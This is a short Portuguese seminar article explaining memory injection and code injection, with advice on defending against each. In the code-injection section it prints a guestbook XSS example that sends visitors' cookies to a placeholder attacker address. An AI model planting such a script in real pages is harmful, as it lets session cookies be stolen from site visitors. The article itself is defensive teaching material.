Segurança em sistemas é hoje uma das áreas da informática que mais tira o sono de seus profissionais. Todos os dias novas técnicas, métodos e vítimas aparecem na internet, sendo estes desde pequenos estabelecimentos até corporações multinacionais e governamentais. Este artigo tem por objetivo abordar e trazer a compreensão de  dois métodos de roubo e manipulação de dados MemoryInjection e CodeInjection. A melhor forma de se defender é conhecer.

Memory Injection

Memoryinjection é uma técnica de invasão que tem por objetivo monitorar e adulterar os dados em memória de um programa em execução. Tendo acesso aos dados em memória o programa agressor pode roubar dados pessoais, alterar ou direcionar o fluxo dos programas para obter algum tipo de vantagem.

Infelizmente, se defender deste tipo de ataque é bastante complicado, visto que a memória é gerenciada pelo sistema operacional, especialmente em ambientes Windows. Em ambientes Linux, o processo de monitoramento de memória é bem mais complexo, de se realizar, mas ainda assim é possível faze-lo.

Como é praticamente impossível impedir que outros programas leiam os dados em memória de um aplicativo, uma das melhores maneiras de evitar que informações importantes sejam roubadas é utilizar técnicas que ocultam as informações, dificultando a identificação do dado.

Normalmente senhas ficam armazenada em um único ponto de memória. Em pouco tempo um invasor consegue mapear o ponto exato onde o valor esta alocado, e então é fácil criar um programa que rouba ou adultera estes valores. Para defender-se, informações pertinentes podem ser ocultas usando algumas técnicas como fracionamento da informação.

Armazenando as informações em memória em pontos separados torna o processo de identificação muito mais complexo, assim como o processo de desenvolvimento da aplicação. Em alguns casos, são contratados matemáticos para criar fórmulas matemáticas para ocultar as informações. Mesmo que um invasor consiga mapear a localização dos dados, o mesmo não obterá o resultado até descobrir a fórmula matemática que as une.

Outra prática importante – e extremamente simples de implementar – é destruir objetos e informações irrelevantes da memória quando não mais são necessários. Mesmo sabendo que o garbagecollector da ferramenta de desenvolvimento irá eliminar a informação em algum momento, não temos como saber quanto tempo isto irá levar. Todo este tempo em que o dado fica persistido em memória aumenta a chance de um invasor detecta-la.

Existem diversos programas para auxiliar a monitorar, mapear e alterar dados em memória, sendo o CheatEngine um dos mais populares e fáceis de utilizar.

CodeInjection

Assim como o memoryinjection, o codeinjection tem por objetivo monitorar outro programa a fim de obter vantagem, mas enquanto o primeiro acessa dados de aplicações, este altera o funcionamento do programa, injetando código e rotinas em programas para obter os mais variados fins.

Aliado ao memoryinjection esta técnica é responsável pelo funcionamento de grande parte dos vírus de computador, utilizando estas técnicas para se retransmitir pela rede, invadindo e enxertando rotinas nos programas.

Esta técnica tornou-se popular com o advento dos aplicativos web, onde mais e mais sistemas estão disponíveis na nuvem. De modo geral, seu funcionamento é bem parecido com um SLQ Injection. Instruções são inseridas em campos de entrada dados e armazenadas para que quando alguém venha a acessá-la o navegador as execute como se fizessem parte da codificação da página.

Suponhamos que um site contenha um “guestbook”, ou livro de recados. Tipicamente, receberia um comentário como o abaixo:

Site muito legal!

Um invasor poderia utilizar o comando a seguir:

Site muito legal, acho que vou pegar para mim.>
<script>
document.location='http://endereco_atacante/cookie.cgi?' +document.cookie
</script>

Ao acessar o site, o cookie da página é enviado para o endereço do atacante, onde o mesmo pode utiliza-lo para ganhar acesso ao site. Felizmente nem todos os usos de codeinjection visam praticas ilegais ou antiéticas. Alguns utilizam esta técnica para adicionar funcionalidade a programas, especialmente os disponíveis online. O site User Scripts (http://userscripts.org./) é um reduto onde desenvolvedores podem disponibilizar scripts que funcionam como addons para navegadores e realizam pequenas – ou não – alterações em diversos sites.

Para se defender deste tipo de ataque os desenvolvedores devem validar toda entrada de dados, converter caracteres potencialmente perigosos para seus equivalentes ISO-8859 (converter tags html para “texto”), verificar o “Encoding” dos dados na entrada de saída, etc…

As duas vulnerabilidades abordadas neste artigo podem ser evitadas, mas não abolidas por completo, utilizando para isto padrões e boas práticas de programação estabelecidas no mercado. Com a popularização do uso de bibliotecas para conexão com banco de dados, frameworks para desenvolvimento de aplicativos e principalmente consultoria de empresas especializadas na área estas tentativas de invasão podem ser minimizadas.

Por Fabrício Casali
Artigo do Seminário de Segurança em Desenvolvimento de Sistemas 2011-2
Revisão Thiarlei Macedo | Fonte Micreiros.com